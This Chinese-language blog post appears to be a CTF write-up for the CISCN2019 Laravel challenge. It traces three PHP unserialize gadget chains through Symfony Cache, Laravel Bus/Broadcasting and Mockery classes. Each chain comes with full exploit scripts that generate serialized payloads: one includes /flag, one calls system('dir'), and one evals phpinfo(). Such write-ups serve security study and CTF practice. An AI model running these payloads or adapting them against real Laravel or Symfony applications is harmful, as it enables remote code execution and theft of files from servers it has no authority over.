亲自从头到尾跟了一下涉及到的三个链子,稍微拯救了一点点点点我稀烂的代码审计能力
参考链接放在文末
链子 1 - 文件包含 / 任意文件读取
搜索__desturct()
找入手点, vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php
它调用了 commit()
和 invalidateTags()
调用 pool 的 saveDeferred()
方法,我们在这个类相同命名空间 (Symfony\Component\Cache\Adapter) 下找有没有别的类也实现了这个方法,另外开始的那个 pool 是在 Adapter 接口下,所以要找一个 AdapterInterface 接口并且存在 saveDeferred()
的类
找到这里 vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php
它又调用了 initialize (),跟进 vendor/symfony/symfony/src/Symfony/Component/Cache/Traits/PhpArrayTrait.php
是我们的文件包含点了,可以从这里读 flag
接下来就是构造 exp 了,要注意命名空间和接口
前两个类都是 Symfony\Component\Cache\Adapter 命名空间下的,但是 CacheItem 是 Symfony\Component\Cache 下的,所以要再引入它,use
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('amiz' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}
链子 2 - rce
回到前面在相同命名空间下找 saveDeferred()
的地方,还有另一个类也有同样的方法 vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php
跟进 doSave()
223 行可以动态调用函数,setInnerItem
可控 我们可以调用 system()
,接下来确认它调用的两个参数可不可控
对于 $item
,是调用函数 doSave()
函数时传入的参数,也就是 saveDeferred()
时的参数,也就是我们传入的数组,可控
对于 $innerItem
有这样一个 if 判断
光看这个判断肥肠的突兀,还要结合 207 行的 $item = (array) $item;
,它将一个类强行转换成数组,而后面跟着的这个 if 判断就是为了解决类中原有的 protected 的属性冲突,所以需要在相同的命名空间里接着找一个类,包含 pollHash
和 innerItem
属性,最终还是找到了 CacheItem(前面也是它
构造 exp
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"dir");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}
本地尝试一下(懒得再开靶机了 w
成功了捏
链子 3 - rce
在 [CISCN2019 总决赛 Day1 Web4] Laravel1 这道题里赵师傅把这条路堵死了,但是本地复现无所谓啦
把这个注释取消即可
看到它调用了 events
的 dispatch
方法,跟上面思路一样,接着找一个可用的别的类里的 dispatch
,比如 vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
看一下第一个判断的返回时调用的 dispatchNow()
是什么
150 行有亮点啊,使用了 call_user_func
,第一个参数可控,第二个参数来自 $command
,也就是最开始找的析构函数调用的 $this->event
;现在要找一个类 可以执行任意函数作为第一个参数,然后我们的 rce 命令作为第二个参数传入,完成整个链子
不过先不急,首先要满足 dispatch()
中的 if 判断 $this->queueResolver && $this->commandShouldBeQueued($command)
,前一个可控,看看后面这个
需要 $command
必须是一个实现了 ShouldQueue
接口的类,找到这个 vendor/laravel/framework/src/Illuminate/Foundation/Console/QueuedCommand.php
然后接着找适合做 call_user_func()
第一个参数的类,它需要可以执行任意函数 vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php
这个 load()
可以直接调用 eval 执行代码,但是 $defination
要满足 if 的判断,跟进
需要额外再找两个类,第一个类具有 code
属性,第二类又 getName
函数,来作为第一个类的 config 属性
可用的第一个类就是 getClassName()
所在的类 vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php
第二个是 vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Line.php
总结以上的过程,写 exp
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>
执行效果(盖了一层 laravel 报错的底色哈哈哈哈哈哈哈
这个链子非常的长,涉及到 6 个类
pop 链杀我!!!看代码有种目害的感觉了